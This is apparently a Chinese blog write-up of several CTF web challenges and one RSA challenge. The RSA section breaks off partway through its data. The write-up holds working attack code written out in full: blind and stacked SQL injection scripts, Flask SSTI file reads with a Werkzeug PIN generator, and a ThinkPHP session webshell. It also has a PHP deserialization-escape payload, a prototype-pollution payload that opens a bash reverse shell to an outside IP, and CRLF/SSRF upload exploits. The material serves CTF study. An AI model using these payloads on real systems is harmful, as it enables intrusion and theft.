最近的几个公益赛确实办的不错,安全人员也都是很热爱祖国的♥,中国加油😠 武汉加油😠 大家加油😠
Web-简单的招聘系统 考察SQL注入
解题 测试发现登录的username
处存在注入,万能密码就能登录 这个地方存在注入点,可以利用盲注爆库,这里利用的思路就是通过判断用户名的条件为true
登录进行注入,当然还需要一个现有的用户来登录,那么我们注册个用户就行了,参考如下的脚本:
import requestsurl = 'http://4b5b40858ffa4258bd74ee72c106522abdc060eb08674169.changame.ichunqiu.com/index.php' payload = "2' and (select (mid((select flaaag from flag limit 1 offset 0),1,{0})))!='{1}" database = '' letter = 'abcdefghijklmnopqrstuvwxyz0123456789_-{}' for i in range(1 , 80 ): for n in letter: data = { "lname" : payload.format(i, database + n), "lpass" : "xxx" } req = requests.post(url, data=data) req.encoding = 'gbk' print(data["lname" ]) if "成功" not in req.text.encode('gbk' ).decode(req.apparent_encoding): print("* " + n) database += n break
Web-ezupload 文件上传题
解题 本以为是一道拐弯的上传题,结果直接传上马了… 蚁剑连上,flag
文件是空的,但是下面有个/readflag
文件,开中断运行这个程序就能拿到flag。
Web-盲注 利用正则进行时间盲注
解题 题目已经说的很明显了,需要进行盲注,但是有waf,过滤了很多常用的注入语句,但是REGEXP
并没有被ban,那么利用这个函数很简单地就能拿到flag。REGEXP
:在列值内进行匹配,如果被匹配的文本在列值中出现,REGEXP
将会找到它,相应的行将被返回,REGEXP
能匹配整个列值。并且REGEXP
检查总是返回0(没有匹配)
或1(匹配)
。
import requestsimport timeurl = 'http://49682a5d648a44fe94ba09271ec5fbe569c33f63b1c6435b.changame.ichunqiu.com/?id=' flag = '' letter = 'abcdefghijklmnopqrstuvwxyz0123456789{}-' for i in range(99 ): for n in letter: payload = '1 and if((fl4g REGEXP "^{0}"),sleep(3),5);' payload = payload.format(flag+n) start_time = time.time() req = requests.get(url+payload) if (time.time() - start_time)>2 : print(flag) flag += n break
Web-blacklist 本题是[强网杯]随便注的改版,考察堆叠注入,这题get到注入新姿势,利用mysql
数据库中HANDLER
绕过黑名单拿flag。
解题 进入题目发现跟强网杯一样的输入框,首先就想到了堆叠注入,测试一下: 可以看到,语法成功执行了。 但是再去测试其他关键字的时候发现很多关键字被ban了: 本想着利用强网杯的方法,通过改表名来拿flag的,但是rename
也被ban了,结合select
又被ban,常规的姿势怕是不行,后来借用handler
才拿到flag,payload如下:
1';handler FlagHere open ;handler FlagHere read first ;
关于handler
可以参考这里 。
Web-easysqli_copy 还是考察PDO、check()函数的绕过、实际盲注,不过这题也get到了新姿势:利用预处理语句
进行堆叠注入,这也是采用了PDO之后注入的新趋势了。 扩展一下知识:
在php中,PDO
有两种模式:模拟预编译
与非模拟预编译
。默认为模拟预编译模式,即不是真正的预编译,而是采用PDO::quote()
函数,首先将用户输入转化为字符型,之后将引号等敏感字符转义。这样在gbk
编码下,即可通过宽字节注入绕过防护。 但是绕过PDO之后,依然很难绕过check()
函数,于是此处利用到了PDO的第二个默认特性:支持多句执行
,即可进行堆叠注入。
题目分析 进入题目给出了源码:
<?php function check ($str) { if (preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i' ,$str,$matches)) { print_r($matches); return 0 ; } else { return 1 ; } } try { $db = new PDO('mysql:host=localhost;dbname=pdotest' ,'root' ,'******' ); } catch (Exception $e) { echo $e->getMessage(); } if (isset ($_GET['id' ])) { $id = $_GET['id' ]; } else { $test = $db->query("select balabala from table1" ); $res = $test->fetch(PDO::FETCH_ASSOC); $id = $res['balabala' ]; } if (check($id)) { $query = "select balabala from table1 where 1=?" ; $db->query("set names gbk" ); $row = $db->prepare($query); $row->bindParam(1 ,$id); $row->execute(); }
通过源码发现,这里利用了PDO 接口进行与数据库的链接,其中prepare
就是准备了一个预处理语句,$row->bindParam(1,$id);
中的binParam 作用是绑定一个参数到指定的变量名。 请教别的师傅了解到PDO中单引号可能是被自动过滤的,那就只好利用宽字节绕过:%df%27
,源码里利用了预处理语句,注入的时候也就选择了利用预处理语句进行注入,同时结合16进制编码绕过对关键字的过滤。
解题 脚本如下:
import requestsimport timedef main () : url = 'http://96e2f11ccc1147559b9e8c7c9991e494c4dd1d4ca36f4428.changame.ichunqiu.com/?id=1%df%27;' payloads = "set @a=0x{0};prepare ctftest from @a; execute ctftest;" flag = '' letter = 'abcdefghijklmnopqrstuvwxyz0123456789{}-' for m in range(1 , 80 ): print("前{0}位" .format(m)) payload = "select if (ascii(mid((select fllllll4g from table1 ),{0},1))={1}, sleep(3), 1)" for n in letter: xxx = url + payloads.format(str_to_hex(payload.format(m, ord(n)))) times = time.time() res = requests.post(xxx) if time.time() - times >= 2 : flag += n print(flag) break def str_to_hex (s) : return '' .join([hex(ord(c)).replace('0x' , '' ) for c in s]) if __name__ == '__main__' : main()
Web-Easqli 考察盲注,这题也学到了新姿势:在union select
被ban的情况下,进行多列
数据的爆破。
题目分析 进入题目是一个大大的输入框,多次尝试发现输入1
的时候回显Hello Nu1L
,输入0
的时候回显hello
,后来测试了多个关键字,发现union select
单用的时候没问题,联合起来使用怎么都绕不过,or
、and
也被ban了,但是&&
没被ban,这里有搞头,然后测了一下,语句为true
回显也是hello Nu1L
,就从这里下手了。 后来又发现information_schema
也被ban了,这时候想到了之前一个题里讲过的:利用mysql系统库sys.schema_table_statistics_with_buffer
或者sys.schema_auto_increment_columns
获取到了表名,但是因为union select
被ban,无列名注入也没法进行,这时候就用到了前面说的学到的新姿势了:利用id=2-(select (select 1,{0})>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
这样的语句使进行两列的对比,从而爆破出第二列(flag列)的内容。脚本如下:
解题脚本 import requestsurl = 'http://ab8f8551f4dc43a4bc43854950cb1088190a260570ee455c.changame.ichunqiu.com/index.php' headers = {"Content-Type" : "application/x-www-form-urlencoded" } database = '' letter = '0123456789bcdehijkmnopqrstuvwxyz_-{}' ''' for i in range(1, 80): for n in letter: data = { "id": payload.format(i, database + n), } req = requests.post(url, data=data,headers=headers) # print(req.text.encode('gbk').decode(req.apparent_encoding)) if "Hello Nu1L" in req.text: print(n) flag += n print(database) break ''' flag='' while 1 : for i in range(32 ,126 ): a = chr(i).encode().hex() payload = "id=2-(select (select 1,0x%s)>(select * from f1ag_1s_h3r3_hhhhh limit 1))" %(flag.encode().hex()+a) html = requests.post(url=url,data=payload,headers=headers) if "Hello Nu1L" in html.text: flag += chr(i-1 ) print("Find:" +flag) break if chr(i) == '}' : flag +='}' break print(flag)
Web-FlaskApp 考察SSTI
题目分析 进入题目发现是一个base64加密解密网站,直接考虑SSTI了。并且这个题跟另外一个利用Flask写的加密的题很像,便参考了那个题的解题思路 :在开启DEBUG模式的情况下进行模板注入。 首先测试一下SSTI是否能用:先在加密页面对
加密一下,然后到解密页解密,页面回显如下: 由此得知,确实是SSTI,同时还看到了开启了DEBUG模式。 那就利用那道题的解题思路去做吧。
解题 参考前面的链接我们知道,这道题可以通过计算出PIN
来登录控制台,然后在控制台进行操作拿flag。但是生成PIN
的脚本需要知道username
(这个需要我们自己去找)、modname
(一般是flask.app
)、第三个值getattr(app, "__name__", app.__class__.__name__)
(一般是Flask
)、第四个值getattr(mod, "__file__", None)
(在报错页面可以看到题目的环境)、第五个是str(uuid.getnode())
的值,最后是机器码。 报错页面回显如下:
获取username 可以在/etc/passwd
中读取到用户名,这里由于题目环境是Python3的,因此读文件需要用如下payload:
{{ ''.__class__ .__mro__ [1 ].__subclasses__ ()[103 ].__init__ .__globals__ ['open' ]('/etc/passwd' ).read() }}
如果环境是Python2,payload可以构造为:
{{ ''.__class__ .__mro__ [2 ].__subclasses__ ()[40 ]('/etc/passwd' ).read() }}
跟前面的操作一样,先编码,再去解码引发SSTI,回显如下: 我们看到可以用户名flaskweb
,应该就是它了。
modename
以及第三个、第四个已经知道了,直接去找str(uuid.getnode())
的值。
获取str(uuid.getnode()) 构造payload:
{{ ''.__class__ .__mro__ [1 ].__subclasses__ ()[103 ].__init__ .__globals__ ['open' ]('/sys/class/net/eth0/address' ).read()}}
按照同样的方法进行注入,得到回显如下: 然后到进制转换网站 转换为十进制。
获取机器码 构造payload:
{{ ''.__class__ .__mro__ [1 ].__subclasses__ ()[103 ].__init__ .__globals__ ['open' ]('/proc/self/cgroup' ).read()}}
回显如下: 第一项/docker/
后面的字符串即为我们要找的机器码。 至此,拿到了生成PIN
的所有的要素了,利用下面的脚本生成PIN
:
import hashlibfrom itertools import chainprobably_public_bits = [ 'flaskweb' 'flask.app' , 'Flask' , '/usr/local/lib/python3.7/site-packages/flask/app.py' ] private_bits = [ '2485377957890' , '3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int(h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len(num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range(0 , len(num), group_size)) break else : rv = num print(rv)
然后到题目的链接后面加上/console
进入控制面板,输入PIN,获取权限: 然后就可以随意输入读取文件拿flag了(注意列举文件的时候也可以直接列举根目录的ls /
):
Web-easy_thinking 考察ThinkPHP6.0
存在的通过SESSION
写文件的漏洞,同时也考察了对disable_functions
的绕过。 这一道题比赛的时候知道考察点是SESSION漏洞了,但是由于时间原因当时没有做出来,后来经smity师傅提示,结合getfly师傅的题解,对这道题加深了理解和学习。在BUU上复现了一下。
题目分析 由于环境是ThinkPHP6.0
,网上查了一下,找到了相关的漏洞文章:https://blog.csdn.net/god_zzZ/article/details/104275241 https://paper.seebug.org/1114/#_1 就是通过利用SESSION
向服务器写入文件,从而拿到shell。
既然是通过SESSION写入文件,我们就需要找到存在SESSION写入的位置,在Member
控制器中发现如下代码:
if (!session('?UID' )){ return redirect('/home/member/login' ); } $data = input("post." ); $record = session("Record" ); if (!session("Record" )){ session("Record" ,$data["key" ]); }
可以看到,在search
方法中可以进行任意SESSION写入,在这个地方我们就可以写入构造好的内容来生成shell,但是首先就需要满足第一个判断,即需要一个现有的SESSION文件并且包含UID
字段,下面就需要找到将UID
写入SESSION的地方。 在Member
控制器的login
方法中找到如下代码:
if ($userId){ session("UID" ,$userId); return redirect("/home/member/index" ); }
将UID
写入SESSION的操作是在判断用户名和密码正确之后的,那么我们就需要先注册一个合法的用户进行登录。
捋一下整个的思路:
1、注册一个合法账户
2、利用注册的账户登录时更改SESSION
字段的值为xxx.php
,并且刚好是32个字符
3、利用相同的SESSION
在搜索的时候写入一句话
4、在/runtime/session
文件夹下测试一句话,注意是sess_
开头的
参考getfly师傅的脚本:
import requestsurl_reg = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/home/member/register' url_log = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/home/member/login' url_sea = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/home/member/search' headers = { 'Cookie' :'PHPSESSID=1234567890123456789012345678.php' } data1 = {'username' :'ggb0n' , 'password' :'123456' } data2 = {'key' :'<?php @eval($_POST["x"]);echo "not flag"; ?>' } s1 = requests.post(url_reg, data1) s2 = requests.post(url_log, data1, headers=headers) s3 = requests.post(url_sea, data2, headers=headers) test = 'http://ebeb2d63-1ffd-4543-bf4d-07d0a35b9931.node3.buuoj.cn/runtime/session/sess_1234567890123456789012345678.php' s = requests.get(test).text if 'not flag' in s: print('success' ) else : print('failed' )
蚁剑连接小马之后在终端运行/readflag
是没用的,利用phpinfo()
发现是因为disable_functions
把system
给ban掉了: 那就需要绕过限制,smity师傅比赛的时候就提醒需要用php_gc_uaf.php
来绕过disable_functhions
,一些绕过方法参考这里 。 把php_gc_uaf.php
传到一个777
权限的文件夹下,然后在浏览器端访问该文件即可拿到flag。
【补充】这个exp 不用777权限的文件夹就能执行,web目录即可。高校战“疫”中的PHP-UAF就是用的这个。
babyPHP 考察反序列化逃逸漏洞,这个之前在BUU上刷了一道类似的题目 ,不过更加复杂,比赛的时候没做出来,看了WP记录学习一下。
题目分析 扫描后台可以发现存在源码www.zip
,下载后是四个php文件,我们主要分析与拿flag相关的代码。 首先从update.php
中发现:
if ($_SESSION['login' ]===1 ){ require_once ("flag.php" ); echo $flag; }
可以发现,登陆成功之后就可以拿到flag了。
然后审计关键文件lib.php
,在其中发现如下代码:
function safe ($parm) { $array= array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace($array,'hacker' ,$parm); }
看到这里,就想到了之前在BUU上刷的[0CTF 2016]piapiapia ,那道题考察的就是反序列化溢出漏洞,这也就是分析的关键了。 再往下看,在UpdateHelper
类中有一个反序列化点:
Class UpdateHelper { public $id; public $newinfo; public $sql; public function __construct ($newInfo,$sql) { $newInfo=unserialize($newInfo); $upDate=new dbCtrl(); } public function __destruct () { echo $this ->sql; } }
但是从代码中可以看到,此处用户可控的只有Info
类中的两个属性age
、nickname
,不能完全控制序列化数据,无法注入对象。 跟进User
类中的反序列化点:
public function update () { $Info=unserialize($this ->getNewinfo()); $age=$Info->age; $nickname=$Info->nickname; $updateAction=new UpdateHelper($_SESSION['id' ],$Info,"update user SET age=$age,nickname=$nickname where id=" .$_SESSION['id' ]); }
可以发现,反序列化的是getNewinfo()
方法获取的内容,再来看一下getNewinfo()
:
public function getNewInfo () { $age=$_POST['age' ]; $nickname=$_POST['nickname' ]; return safe(serialize(new Info($age,$nickname))); }
可以看到,对Info
类的内容序列化之后,会先经过前面提到的safe()
函数处理,然后才进行反序列化。 这里就是构造反序列化逃逸的地方:通过写入黑名单中的字符\字符串,在经过safe()
函数处理的时候会替换为hacker
,从而改变了长度,但是序列化的字符串,每一个属性的内容长度都是固定的,从而就可以利用替换关系构造出逃逸,然后注入对象。
整理一下构造pop链的思路:
利用UpdateHelper
的__destruct
触发User
的__toString
然后走到Info
的__call
方法,在__call
中调用了dbCtrl
类的login
方法,通过控制查询语句,把admin
账户的密码查出来。
官方POC如下:
<?php class User { public $id; public $age=null ; public $nickname=null ; } class Info { public $age; public $nickname; public $CtrlCase; public function __construct ($age,$nickname) { $this ->age=$age; $this ->nickname=$nickname; } } class UpdateHelper { public $id; public $newinfo; public $sql; } class dbCtrl { public $hostname="127.0.0.1" ; public $dbuser="root" ; public $dbpass="root" ; public $database="test" ; public $name='admin' ; public $password; public $mysqli; public $token; } $d = new dbCtrl(); $d->token='admin' ; $b = new Info('' ,'1' ); $b->CtrlCase=$d; $a = new user(); $a->nickname=$b; $a->age="select password,id from user where username=?" ; $c=new UpdateHelper(); $c->sql=$a; echo serialize($c);?>
运行结果如下
O: 12 :"UpdateHelper" :3 :{s: 2 :"id" ;N;s: 7 :"newinfo" ;N;s: 3 :"sql" ;O: 4 :"User" :3 :{s: 2 :"id" ;N;s: 3 :"age" ;s: 45 :"select password,id from user where username=?" ;s: 8 :"nickname" ;O: 4 :"Info" :3 :{s: 3 :"age" ;s: 0 :"" ;s: 8 :"nickname" ;s: 1 :"1" ;s: 8 :"CtrlCase" ;O: 6 :"dbCtrl" :8 :{s: 8 :"hostname" ;s: 9 :"127.0.0.1" ;s: 6 :"dbuser" ;s: 4 :"root" ;s: 6 :"dbpass" ;s: 4 :"root" ;s: 8 :"database" ;s: 4 :"test" ;s: 4 :"name" ;s: 5 :"admin" ;s: 8 :"password" ;N;s: 6 :"mysqli" ;N;s: 5 :"token" ;s: 5 :"admin" ;}}}}
我们的目的是逃逸字符,因此需要保证payload进入之后能保证序列化字符串能够正常反序列化,正常的序列化字符串结构如下:
O: 4 :"Info" :3 :{s: 3 :"age" ;s: 5 :"ggb0n" ;s: 8 :"nickname" ;s: 7 :"ggb0n" ;s: 8 :"CtrlCase" ;N;}
其中的age
和nickname
是我们可控的,那么我们就可以把payload写入到nickname
部分,然后通过将payload挤出去进行逃逸,由于属性是三个,所以我们在nickname
中写入的payload前面加一个CtrlCase
的属性,在最后加一个}
,如此以来,反序列化的时候就会忽略后面的CtrlCase
,初步构造payload如下:
";s:8:" CtrlCase";O:12:" UpdateHelper":3:{s:2:" id";N;s:7:" newinfo";N;s:3:" sql";O:4:" User":3:{s:2:" id";N;s:3:" age";s:45:" select password,id from user where username=?";s:8:" nickname";O:4:" Info":3:{s:3:" age";s:0:" ";s:8:" nickname";s:1:" 1 ";s:8:" CtrlCase";O:6:" dbCtrl":8:{s:8:" hostname";s:9:" 127.0 .0.1 ";s:6:" dbuser";s:4:" root";s:6:" dbpass";s:4:" root";s:8:" database";s:4:" test";s:4:" name";s:5:" admin";s:8:" password";N;s:6:" mysqli";N;s:5:" token";s:5:" admin";}}}}}
下一步我们就需要把payload逃逸出去:由于payload一共454
个字符,因此,我们需要构造黑名单中的内容,通过替换为hacker
把payload挤出去,通过safe()
函数我们可以知道,一个'
替换为hacker
可以替换挤出5个字符,一个union
替换为hacker
可以挤出1个字符,那么在payload前面加上90个'
和4个union
就可以把454个字符的payload挤出去了,构造最终payload如下:
age=&nickname=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
通过POST方式,将payload打入update.php
即可拿到经过md5加密之后的password,解密即可。 本道题是在BUU复现的,密码已经被改为了glzjin
了,登录即可拿flag。
补充:smity师傅给了一个很详细的题解,可以好好学学这题:这里 。
Ez_Express 考察JS原型链污染,JS之前没学过,在BUU上复现的过程中慢慢学了一些,关于JS原型链的污染参考P神的文章 。
题目分析 进入题目,可以看到一些提示:
要求我们必须以ADMIN
登录,但是这个用户又注册不了…
dirsearch扫后台可以发现www.zip的存在,把源码拿下来,看看其中的玄机。
在index.js
中的login
路由下发现突破点:
if (req.body.Submit=="register" ){ if (safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>" ) } req.session.user={ 'user' :req.body.userid.toUpperCase(), 'passwd' : req.body.pwd, 'isLogin' :false } res.redirect('/' ); }
可以看到,在注册的时候存在toUpperCase()
的使用,这个函数是存在可利用的漏洞的,即利用特殊字符进行绕过:
toUpperCase(): ı ==> I ſ ==> S
另外JS中的toLowerCase()
函数也存在对特殊字符的不规范处理:
toLowerCase(): İ ==> i K ==> k
根据如上特性,我们可以利用admın
身份进行注册,经过toUpperCase()
处理便成了ADMIN
从而成功登录:
可以看到,提示了flag的位置,应该就需要RCE来进行读取了。
再审代码,发现index.js
中存在merge
和clone
,根据在前面提到的P神的文章中的学习,猜测应该是JS原型链污染:
const merge = (a, b ) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a ) => { return merge({}, a); }
进一步在action
路由下发现了clone
的使用:
router.post('/action' , function (req, res ) { if (req.session.user.user!="ADMIN" ){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>" )} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>" ); })
是将req
请求中的内容拼接到session
的过程,显然,req.body
是我们可控的,是考察原型链污染没错了。
action
路由是啥时候访问的呢?其实就是提交输入的地方:
解题 但是怎么才能实现原型链的污染呢?看到info
路由下出现了outputFunctionName
,参考另一篇文章 ,讲了利用outputFunctionName
进行污染的方式,payload如下:
{"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2" }}
大致含义就是:
利用对象的__proto__
属性,向类的原型对象prototype
中写入一个新的属性和属性值,即outputFunctionName
和对应的值,如此以来,该类就存在了这个属性,实例化的时候也会继承,因此当我们再去访问info
路由的时候res.outputFunctionName
的值已经是我们写入的payload中的RCE部分的内容了,从而即可在VPS上反弹shell。
由于是在BUU上复现的,开一台内网主机,拿到ip之后构造payload:
{"__proto__" :{"outputFunctionName" :"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.1.33.241/8899 0>&1\"');var __tmp2" }}
同时在该内网主机上进行监听,在访问action
路由的时候抓包更改Content-Type
为application/json
,并将我们如上构造的payload写入:
前面就污染了原型链了,然后访问info
路由进行命令的执行:
从而拿到shell:
然后就可以随便读取文件,拿到flag了。
有关JS的题目其实没怎么做过,因为还没有专门学过JS,但是JS确实越来用的越多,题也不少,很有学的必要。
Node Game 又是一道JS的题,考察CRLF注入
、SSRF
CRLF注入参考这里 :
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)。
题目分析 进入题目即可拿到源码:
var express = require ('express' );var app = express();var fs = require ('fs' );var path = require ('path' );var http = require ('http' );var pug = require ('pug' ); var morgan = require ('morgan' );const multer = require ('multer' );app.use(multer({dest : './dist' }).array('file' )); app.use(morgan('short' )); app.use("/uploads" ,express.static(path.join(__dirname, '/uploads' ))) app.use("/template" ,express.static(path.join(__dirname, '/template' ))) app.get('/' , function (req, res ) { var action = req.query.action?req.query.action:"index" ; if ( action.includes("/" ) || action.includes("\\" ) ){ res.send("Errrrr, You have been Blocked" ); } file = path.join(__dirname + '/template/' + action +'.pug' ); var html = pug.renderFile(file); res.send(html); }); app.post('/file_upload' , function (req, res ) { var ip = req.connection.remoteAddress; var obj = { msg: '' , } if (!ip.includes('127.0.0.1' )) { obj.msg="only admin's ip can use it" res.send(JSON .stringify(obj)); return } fs.readFile(req.files[0 ].path, function (err, data ) { if (err){ obj.msg = 'upload failed' ; res.send(JSON .stringify(obj)); }else { var file_path = '/uploads/' + req.files[0 ].mimetype +"/" ; var file_name = req.files[0 ].originalname var dir_file = __dirname + file_path + file_name if (!fs.existsSync(__dirname + file_path)){ try { fs.mkdirSync(__dirname + file_path) } catch (error) { obj.msg = "file type error" ; res.send(JSON .stringify(obj)); return } } try { fs.writeFileSync(dir_file,data) obj = { msg: 'upload success' , filename: file_path + file_name } } catch (error) { obj.msg = 'upload failed' ; } res.send(JSON .stringify(obj)); } }) }) app.get('/source' , function (req, res ) { res.sendFile(path.join(__dirname + '/template/source.txt' )); }); app.get('/core' , function (req, res ) { var q = req.query.q; var resp = "" ; if (q) { var url = 'http://localhost:8081/source?' + q console .log(url) var trigger = blacklist(url); if (trigger === true ) { res.send("<p>error occurs!</p>" ); } else { try { http.get(url, function (resp ) { resp.setEncoding('utf8' ); resp.on('error' , function (err ) { if (err.code === "ECONNRESET" ) { console .log("Timeout occurs" ); return ; } }); resp.on('data' , function (chunk ) { try { resps = chunk.toString(); res.send(resps); }catch (e) { res.send(e.message); } }).on('error' , (e) => { res.send(e.message);}); }); } catch (error) { console .log(error); } } } else { res.send("search param 'q' missing!" ); } }) function blacklist (url ) { var evilwords = ["global" , "process" ,"mainModule" ,"require" ,"root" ,"child_process" ,"exec" ,"\"" ,"'" ,"!" ]; var arrayLen = evilwords.length; for (var i = 0 ; i < arrayLen; i++) { const trigger = url.includes(evilwords[i]); if (trigger === true ) { return true } } } var server = app.listen(8081 , function ( ) { var host = server.address().address var port = server.address().port console .log("Example app listening at http://%s:%s" , host, port) })
分析代码得知几个路由的用处:
1、 /:会包含/template目录下的一个pug模板文件来用pub进行渲染;
2、/source:回显源码;
3、/file_upload:限制了只能由IP为127.0.0.1
进行文件上传,并且我们可以通过控制MIME进行目录穿越,从而将文件上传到任意目录;
4、/core:通过q
向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。
但是/core
路由下不能直接SSRF,而是需要利用Node js
的编码安全问题(参考这里 ),对编码精心构造进行CRLF注入
从而来进行SSRF,那么解题思路就明确了:
1、利用CRLF注入进行SSRF
2、利用SSRF伪造本地IP进行文件上传
3、上传包含命令执行代码的pug文件到/template
目录
4、利用action
参数包含文件,执行命令
解题 参考上面文章可知,我们可以构造为\u010D\u010A
来替换换行\r\n(%0D%0A)
,其他的一些特殊字符也如此构造,如空格(%20)
构造编码为\u0120
,+(%2B)
构造编码构造为\u012B
…
根据这个方式,构造拆分请求从而进行SSRF,参考网上师傅的exp:
import requestspayload = """ HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive POST /file_upload HTTP/1.1 Host: 127.0.0.1 Content-Length: {} Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt {}""" .replace('\n' , '\r\n' )body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt Content-Disposition: form-data; name="file"; filename="ggb0n.pug" Content-Type: ../template -var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()") -return x ------WebKitFormBoundarysAs7bV3fMHq0JXUt-- """ .replace('\n' , '\r\n' )payload = payload.format(len(body), body) \ .replace('+' , '\u012b' ) \ .replace(' ' , '\u0120' ) \ .replace('\r\n' , '\u010d\u010a' ) \ .replace('"' , '\u0122' ) \ .replace("'" , '\u0a27' ) \ .replace('[' , '\u015b' ) \ .replace(']' , '\u015d' ) \ + 'GET' + '\u0120' + '/' requests.get( 'http://5a1643b9-eac5-48ba-92b3-36516bcde120.node3.buuoj.cn/core?q=' + payload) print(requests.get( 'http://5a1643b9-eac5-48ba-92b3-36516bcde120.node3.buuoj.cn/?action=ggb0n' ).text)
出题师傅的exp具有更高的灵活性:
import requestsimport syspayloadRaw = """x HTTP/1.1 POST /file_upload HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942 Content-Length: 6279 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/?action=upload Upgrade-Insecure-Requests: 1 -----------------------------12837266501973088788260782942 Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug" Content-Type: ../template - global.process.mainModule.require('child_process').execSync('evalcmd') -----------------------------12837266501973088788260782942-- """ def getParm (payload) : payload = payload.replace(" " ,"%C4%A0" ) payload = payload.replace("\n" ,"%C4%8D%C4%8A" ) payload = payload.replace("\"" ,"%C4%A2" ) payload = payload.replace("'" ,"%C4%A7" ) payload = payload.replace("`" ,"%C5%A0" ) payload = payload.replace("!" ,"%C4%A1" ) payload = payload.replace("+" ,"%2B" ) payload = payload.replace(";" ,"%3B" ) payload = payload.replace("&" ,"%26" ) payload = payload.replace("global" ,"%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC" ) payload = payload.replace("process" ,"%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3" ) payload = payload.replace("mainModule" ,"%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5" ) payload = payload.replace("require" ,"%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5" ) payload = payload.replace("root" ,"%C5%B2%C5%AF%C5%AF%C5%B4" ) payload = payload.replace("child_process" ,"%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3" ) payload = payload.replace("exec" ,"%C5%A5%C5%B8%C5%A5%C5%A3" ) return payload def run (url,cmd) : payloadC = payloadRaw.replace("evalcmd" ,cmd) urlC = url+"/core?q=" +getParm(payloadC) requests.get(urlC) requests.get(url+"/?action=5am3_get_flag" ).text if __name__ == '__main__' : targetUrl = sys.argv[1 ] cmd = sys.argv[2 ] print run(targetUrl,cmd)
同志仍需努力啊!
参考:https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2 https://blog.5am3.com/2020/02/11/ctf-node1/#%E8%87%AA%E5%B7%B1%E5%87%BA%E7%9A%84-node-game
Crypto-Easy_RSA 考察共模攻击
解题 给的附件内容如下:
n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657 e1 = 464857 e2 = 190529 c1 = 